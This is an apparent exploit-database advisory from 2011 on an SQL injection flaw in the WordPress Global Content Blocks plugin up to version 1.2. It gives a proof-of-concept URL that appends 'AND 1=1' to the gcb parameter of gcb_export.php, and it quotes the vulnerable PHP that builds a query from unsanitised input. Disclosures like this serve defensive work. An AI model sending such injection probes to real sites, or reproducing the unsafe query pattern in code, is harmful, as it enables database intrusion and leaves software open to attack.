WordPress Global Content Blocks plugin <= 1.2 - SQL Injection Vulnerability

# Exploit Title: WordPress Global Content Blocks plugin &#60;= 1.2 SQL Injection Vulnerability # Date: 2011-08-18 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/global-content-blocks.1.2.zip # Version: 1.2 (tested) --- PoC --- http://www.site.com/wp-content/plugins/global-content-blocks/gcb/gcb_export.php?gcb=1 AND 1=1 --------------- Vulnerable code --------------- $ids = explode(&#34;;&#34;,$_GET[&#34;gcb&#34;]); $final_text = array(); foreach($ids as $id) { if(intval($id)&#62;0) { // intval(&#34;1a&#34;) =&#62; 1 :) $entry = $wpdb-&#62;get_row(&#34;select * from &#34;.$wpdb-&#62;prefix.&#34;gcb where id=&#34;.$id); $final_text[] = base64_encode($entry-&#62;name).&#34;&#60;;&#62;&#34;. base64_encode($entry-&#62;description).&#34;&#60;;&#62;&#34;. base64_encode($entry-&#62;value).&#34;&#60;;&#62;&#34;. base64_encode($entry-&#62;type); } }